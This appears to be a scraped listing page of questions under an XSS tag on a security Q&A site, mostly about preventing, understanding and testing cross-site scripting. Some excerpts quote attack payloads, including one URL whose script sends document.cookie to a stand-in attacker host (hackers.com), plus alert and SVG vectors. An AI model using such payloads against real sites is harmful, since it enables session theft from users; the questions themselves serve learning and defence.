Cross-Site Scripting: An attack method that involves injection of code or markup into a webpage. There are three major types of XSS: Reflected XSS, Stored XSS (aka persistent XSS), DOM-based XSS (aka client side XSS).

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xss Scripting on clean-urls

I am learning about XSS vulnerability. I need to know what sort of XSS attack can be done on clean URLs. Clean URL example : //my url.net/project/public/#questions/question/edit/id/122/answer/1
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763 views

Can Cross site scripting lead to database access?

I wanna know that weather a site having XSS vulnerability can lead the hacker to access database? I know that he can get the username and password from the cookie stored but can he completely access ...
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1answer
225 views

Reflected XSS - Automatic understanding of filters

I'm currently facing this possible reflected XSS vulnerability on a webapp: URL = http://www.test.com/login/?login=[PAYLOAD] When a user clicks on this link, it displays a login page that includes ...
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5answers
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Does setting httponly prevent stealing a session using XSS?

If a session token is stored in a cookie that has httponly set, is there any way that a XSS vulnerability could allow a malicious user to steal a users session token?
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2answers
137 views

Why doesn't XSS vulnerability from the site launching the CSRF attack make the Synchronizer Token Pattern insecure?

I was reading this question about using Synchronizer Token Pattern to protect against CSRF and the comments of the answer intrigued me. Of course, as the last comment says, if your site has an XSS ...
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3answers
431 views

Flash ignores Content-Type header, allowing XSS?

I recently read that the Flash plugin ignores the Content-Type header in certain circumstances. In particular, you can give Flash a URL, and the Flash plugin will happily fetch the content at that ...
2
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1answer
252 views

CRLF Injection into Web Page

I was pen-testing a site recently which I found a few issues in, and this continues to a previous question I asked about Null-byte string termination in web applications. I have noticed that the site ...
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1answer
102 views

How can I migrate from filter-on-output to filter-on-input?

I recently joined a company with a million+ lines-of-code PHP app. The security approach to XSS appears to be to filter output whenever the dev thought of it. Not surprisingly, they didn't catch ...
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1answer
1k views

Calling JavaScript functions from within a Style tag XSS

I've identified an XSS in a client's application where they've failed to properly sanitize a variable. The application, however, is written in ASP.NET 2.x and they have request validation turned on. ...
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2answers
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Best way to sanitize user input in PHP

Best way to sanitize User input so things i did when users place data - substr if over limited values found. htmlspecialchars() + ent_quotes + UTF-8 str_replace '<' '>' users input What more ...
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2answers
3k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
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696 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
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1answer
250 views

Is it possible to execute xss under these conditions?

Is it possible to execute xss under the following conditions? The following blocked characters and words are replaced with _. characters: > , : , ; , " , ' , # , ~ , \ , % , ( , ) , [ , ] , { , } ...
3
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1answer
222 views

How effective is Caja at preventing XSS?

I recently found Caja which looks like an effective way of preventing XSS. From their site: The Caja Compiler is a tool for making third party HTML, CSS and JavaScript safe to embed in your ...
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3answers
375 views

What is the risk of cross site scripting if I embed javascript into a website

What is the risk of cross site scripting, if I embed javascript into a website? Quite simply, I am using a 'site builder', and they don't allow rotating images, but they allow you to embed code... So ...
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1answer
401 views

XSS Penetration Tools for OSX [closed]

I'm trying to find any recommended tools for XSS security testing using OSX. I tried using the latest OWASP Xenotix XSS Exploit Framework 4, although when used via CrossOver it crashes upon trying to ...
2
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1answer
103 views

Unusual ownership-ID using localStorage; any possible issues?

I'm working on a small side project in PHP. I may yet include some sort of actual username/password registration down the line, but for now, for ease of attracting attention, my goal is to allow for ...
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1answer
1k views

Uploading images safe of XSS, php code and virus

I know that my question has been responded lot of times, but most the responses addresses functions that I don't even use (like use include with images) and that makes me worry because maybe I'm not ...
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1answer
138 views

Site Executing control characters in title tag

I am currently pentesting a site for a client of mine and I found a very strange 'bug'. They have a search box on the home page which if I enter te\tst and hit search, it redirects to the search ...
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3answers
996 views

Cross site scripting prevention removing &lt and &gt

I'm testing an application that only skips < and > symbols. The user input being validated is always inserted between html tags like <b>, <span>, <div>, etc. and never passed ...
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2answers
161 views

Is there an open source runtime enforcement tool?

I have been looking for open source runtime enforcement tools that I can use my own policies to prevent input validation vulnerabilities, in web applications. The web applications that I want to ...
4
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1answer
83 views

Is there any danger in the preview button in blogs?

In my Wordpress blog (though this may be true of other blogs too), there is a preview web page feature. So when I get a comment with a link, I can hover over the link, and it shows me a preview of ...
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2answers
245 views

Parameterization strategy for hazardous character injection [closed]

I have a input text field for accepting Email ID. If Email ID is not entered by User, I have a client side validation using Java Script to display error message which reads like, "Please enter valid ...
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1answer
355 views

XSS: What type of text encoding is this? [closed]

I found this encoding as a XSS example to bypass certain filters. Been trying to look some information (plus encoder/decoder tool) about this type of encoding but was pretty difficult without knowing ...
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3answers
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I found obfuscated code in a comment on my blog. What should I do?

Today I was checking comments on my blog and I found a strange comment, here is the exact text <script>var ...
2
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1answer
100 views

Ethical approach about corporate website and vulnerabilities [closed]

I like web security and i have academic formation about that. Just for fun I found a website (insurance company) with critical vulnerabilities like xss or sql injection. Now, I obviously will alert ...
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2answers
368 views

Hide XSS payload

Scenario : There is a persistent XSS on a page with the username information. The username is present three times in the page, is visible only once and the visible one is correctly escaped. How ...
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3answers
366 views

How could the string \";alert('XSS');// be used for XSS?

I was using Burp Suite for some testing and I noticed that they included the following string: \";alert('XSS');// as an attack string for an XSS payload. How could this string be used to execute ...
2
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2answers
271 views

Exploiting flash XSS holes

I have a URL to a flash file. Sample :- http://abc.mydomain.com/Findme.swf Now, there is a parameter called xmlpath as :- http://abc.mydomain.com/Findme.swf?xmlPath=something. Is it not that ...
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1answer
1k views

Cross site scripting and the use of http-only cookies?

I have been a developer and now I am trying to look at XSS from the point of view of a developer. I was thinking of a particular case of reflected XSS . Let us say we have a vulnerable website and if ...
2
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1answer
225 views

Possible to detect and log CORS and preflight requests in IIS?

I'd like to track and understand if CORS/cross site requests are hitting my website, and if they are succeeding or failing. My goal is to understand if clients are following our documentation ...
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2answers
514 views

Modern, security-conscious, PHP book?

I posted this on StackOverflow and they redirected me here. Sorry if this isn't the correct area! After creating a simple login system and trying to protect it against things like SQL injection, ...
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1answer
1k views

How to show XSS popup without using alert and script keywords?

I have come across a field that is vulnerable to XSS. It accepts and tags however keywords script,alert, msgbox, prompt are blocked. I have tried every encoded version of these keywords but its not ...
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2answers
475 views

How to ensure that files uploaded by users do not contain any XSS code

I have been working on providing the security related to the XSS attacks. My website only allows following mime-types: XML, CSV, HTML, PLAIN, VND_WAP_WML, APPLICATION_ZIP, APPLICATION_PDF, ...
2
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3answers
254 views

Is + as an alternative to %20 an attack vector?

I was reading a Q&A on enabling + characters in URLs for Sitecore CMS, and the answer states: ASPNET application does not allow using “+” from the security point of view e.g. preventing SQL or ...
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4answers
775 views

A DOM-based XSS is a vulnerability in the application or in the browser?

As the exploit isn't sent to the server (using #payload), can I say that a DOM XSS is a vulnerability in the browser rather than the web application?
2
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1answer
521 views

Why is “MIME type mismatch on image file” a security vulnerability?

Some security vulnerability scanners as Ratproxy detects a vulnerability called "MIME type mismatch on image file". Thanks to the CAPEC project we can see that Cross-Site Scripting Using MIME Type ...
4
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1answer
736 views

XSS JavaScript Double Quoted String with HTML Escaped Possible?

Is it possible to inject XSS in a JavaScript variable if a website inserts HTML encoded, user input in a double quoted string? var userString = "perfectly &quot;safe&quot; input from user?";
5
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2answers
2k views

Why some sites are not shown when embedding them in an iframe?

Exploiting the DVWA's stored XSS option, I'm using the following payload: <iframe src="url">. I'd like to know why do some sites work but others don't when using this payload. For example: ...
3
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298 views

XSS prevention through Content Security Policy

How can Content Security Policy (CSP) significantly reduce the risk and impact of XSS attacks in modern browsers? Is it possible to circumvent CSP in order to execute XSS?
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1answer
277 views

Are GET, POST and windows.location vulnerable to XSS in a Wordpress theme?

I created a Wordpress theme for my client. He told me that he scanned my theme with a vulnerability scanner, and that it has security issues with the GET and windows.location methods. Is this really ...
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1answer
508 views

Cross-site request forgery attack. How can we stopped this? [closed]

On one of our websites, we are seeing this code is adding itself. I tried to figured out but no success. One thing I have noticed when I removed the html, head and body starting tags, it's gone. Our ...
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1answer
117 views

How easy is to track someone exploting a XSS vulnerability? [closed]

If one of the common uses of XSS is to steal cookies which will be sent to the attacker's server, isn't it so easy to identify the attacker? This is not like a SQLi for example which you can exploit ...
4
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1answer
125 views

If you want to implement a XSS scanner, is it absolutely necessary to use a JS interpreter? Why?

In a recent discussion about a security vulnerability scanner that returns false positives for XSS detection, I noticed that the scanner just inject a string like "this_is_my_string_" (without the ...
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3answers
1k views

Why is the Samy Worm considered XSS?

Last night I was browsing notable computer attacks and came across the Samy worm, which apparently affected a huge portion of the MySpace network -- over one million users in under 24 hours, according ...
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1answer
69 views

Should I escape numbers in Django?

Should I escape numbers in django to prevent XSS attacks ? The numbers are stored in db and of "decimal,float,..." type. Should I escape these values or is it useless to prevent XSS attacks ?
9
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2answers
849 views

Why does this XSS vector work in svg but not in HTML?

Why does this vector : <svg><script>alert&#40/1/.source&#41</script> works in http://jsfiddle.net/ZgPY4/2/ and this one ...
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3answers
2k views

Cross Site Scripting without special chars

I'm testing a web application and I found a XSS vulnerability. I can break a tag and inject some code to the application but nothing potentialy dangerous for the client. The application has a filter ...
7
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2answers
388 views

Best practices for integrating external javascript?

I'm looking for some standard pieces of advice on how to integrate external JavaScript into a website. For example, on mywebsite.com: <script ...
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5answers
2k views

IMG tag vulnerability

Is it safe to display images from arbitrary domains? I.e. let's say I have an image on my page: <img src="http://badguy.com/image.gif" /> What if image.gif will return some js attack vector, ...